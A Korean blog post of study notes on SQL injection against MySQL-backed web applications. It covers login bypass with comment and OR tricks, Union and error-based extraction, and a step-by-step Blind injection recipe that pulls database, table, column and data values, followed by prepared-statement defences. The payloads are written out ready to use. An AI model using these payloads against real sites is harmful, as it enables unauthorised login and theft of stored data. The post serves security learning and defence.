
SQL Injection
SQL 질의문을 삽입하는 공격
-> 데이터 추출, 인증 우회, 데이터 변조
mysql : # -> Comment(주석)
ID : mario'
select * from member
where id='mario'#' and pass=' '
SQL Injection : 로그인 인증 우회
1. 식별 & 인증 동시
select * from member
where id=' ' and pass=' '
주석을 이용한 방법 : mario'#
select * from member where id='mario#'
or 를 이용한 방법1 : mario' or '1'='1
select * from member where id='mario'(참) or '1'='1 ' and pass='1234'(거짓)
or 연산보다 and 연산이 우선시 되기 때문에 id가 mario인 값만 나온다.
or 를 이용한 방법2 : mario' or '1'='1'# -> 전체가 나온다.
select * from member where id='mario' or '1'='1'# and pass='1234'
'1'='1'은 참이기 때문에 id='mario'의 값이 무시되면서 모든 값이 나온다.
(or, and) 연산 우선 순위
(1) and, (2) or
2. 식별 & 인증 분리
select pass from member
where id='';
if(db_pass == user_pass){
로그인 성공
}else{
로그인 실패
}
Union SQL Injection 을 이용할 수 있다.
Union SQL Injection
* 지켜야할 사항
- 앞에 있는 select문과 뒤에 있는 select문의 컬럼이 같아야한다.
- 각 위치에 맞는 컬럼 타입도 같아야한다.
SQL 질의문이 화면에 보이는 곳에서 사용한다.
ex) 게시판, 회원정보(마이페이지), 주소검색 등
union : 데이터를 연결해서 출력.(select 2개)
※ 컬럼 숫자를 알아야한다 -> order by
select * from member where id='x'
union select 'nomaltic', 'qqqq', '1111', '2222' #'
* Union SQL Injection 상세과정
[4주차] Union, Error Based SQL Injection
Union SQL Injection 1) SQL 질의문이 화면에 보이는 곳 ex) 게시판, 회원정보(마이페이지), 주소검색 등 2) SQL 질의문이 화면에 안나오는 곳 ex) 로그인, 아이디 중복체크 1) SQL 질의문이 화면에 보이는 곳
brains88.tistory.com
Error Based SQL Injection
Error 메시지가 화면에 출력될 때 -> DB error 메시지
updatexml, extractvalue 를 이용할 수 있다.
* Error Based SQL Injection 상세 과정
[4주차] Union, Error Based SQL Injection
Union SQL Injection 1) SQL 질의문이 화면에 보이는 곳 ex) 게시판, 회원정보(마이페이지), 주소검색 등 2) SQL 질의문이 화면에 안나오는 곳 ex) 로그인, 아이디 중복체크 1) SQL 질의문이 화면에 보이는 곳
brains88.tistory.com
* tip
Union, Error BASED SQLi 를 통해서 데이터를 추출할 때 concat을 이용해서 한 번에 출력할 수도 있다.
select 1, id, 3, 4, 5 from member
-> select 1, concat(id,":",password), 3, 4, 5 from member
Blind SQL Injection
* 공격 위치?
-> DB 결과가 화면에 안나오는 곳.
-> Error based 에러가 안나오는 곳
-> 모든 곳에서 가능
: SQL 질의문의 참과 거짓의 조건으로 데이터를 추출하는 기법
* 일어나는 곳
> 참과 거짓 조건에 따라 응답이 다른 곳!
-> 어떻게든 다르면 됨.
ex) 에러페이지
-> custom error page
ex) 데이터 정렬 순서
-> title like '%___%' 추측
overwatch%' and '1%' = '1 참
overwatch%' and '1%' = '2 거짓
응답값 비교할 때 Burp Suite의 Comparer, Repeator Auto 기능을 사용하면 좋다.
overwatch%' and (1=1) and '1%' = '1 -> 괄호를 쓰면 공격 포맷 만들기가 수월하다.
* 필요 지식 문법
- (1) limit
limit 0,1 - (2) substring
-> select substring('test, 1,1) = t
-> select substring('test, 2,1) = e - (3) ASCII
- (4) 2진 탐색 알고리즘
* Blid SQL Injection 상세 과정
Step 1. SQLi 확인
name like '%%'
over%' and '1%'='1
Step 2. Blind SQLi 참/거짓
overwatch%' and (1=1) and '1%'='1
overwatch%' and (1=2) and '1%'='1
Step 3. (select ~ )
overwatch%' and ((select 'test')='test') and '1%'='1
select 'test'
Step 4. 공격 포맷 만들기
overwatch%' and (조건) and '1%'='1
ascii('t')>0
공격 form
> overwatch%' and (ascii(substring((SQL),1,1))>0) and '1%'='1
Step 4. DB 이름 추출
select database()
overwatch%' and (ascii(substring((select database()),2,1))>0) and '1%'='1
Step 5. Table 이름.
select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1
overwatch%' and (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 1,1),4,1))>0) and '1%'='1
Step 6. Column
select column_name from information_schema.columns where table_name='member' limit 0,1
공격 form
overwatch%' and (ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))>0) and '1%'='1
Step 7. Data 추출
select ~ from ~ limit 0,1
overwatch%' and (ascii(substring((select ~ from ~ limit 0,1),1,1))>0) and '1%'='1
SQL Injection 대응 방안
Prepared Statement

우리가 웹 상에서 입력한 쿼리는 DBMS 내부적으로 4가지 과정(parse, bind, execute, fetch)을 거쳐 결과를 출력합니다.
특히 쿼리의 문법을 검사하기 위해서는 parse 과정을 거치게 되는데, 입력한 쿼리의 결과를 [그림2]와 같이 파싱하여 트리를 생성합니다.

일반적인 Statement를 사용하여 SELECT 쿼리를 입력했을 때에는 매번 parse부터 fetch까지 모든 과정을 수행합니다. Prepared Statement를 사용하는 경우에는 효율을 높이기 위해 parse 과정을 최초 1번만 수행하고 이후에는 생략할 수 있습니다. parse과정을 모두 거친 후에 생성된 결과는 메모리 어딘가에 저장 해두고 필요할 때마다 사용합니다. 반복적으로 트리를 사용하기 위해서 자주 변경되는 부분을 변수로 선언해 두고, 매번 다른 값을 대입(바인딩)하여 사용합니다.
Prepared Statement에서 바인딩 변수를 사용하였을 때, 쿼리의 문법 처리과정이 미리 선 수행되기 때문에 바인딩 데이터는 SQL 문법적인 의미를 가질 수 없습니다. 따라서 Prepared Statement를 사용하면 SQL인젝션 공격에 안전하게 구현할 수 있습니다.
왜 아직도 SQLi가 일어나는가?
- PreparedStatement 잘못 쓴 경우
- 옛날에 만든 코드(라이브러리)
-> 겉에다가 필터링 : 우회 - PreparedStatement 적용이 안되는 곳
> order by 정렬
> table 이름
> column 이름
'Security > Web' 카테고리의 다른 글
| XSS와 CSRF의 차이 (0) | 2023.05.23 |
|---|---|
| XSS(Cross Site Script) 정리 (0) | 2023.05.19 |
| [Web] Same Origin Policy(SOP) (0) | 2023.04.20 |
| [SQL Injection] 로그인 CASE와 우회방법 (0) | 2023.04.16 |
| [Python] RSA 암호 구현 (0) | 2023.04.11 |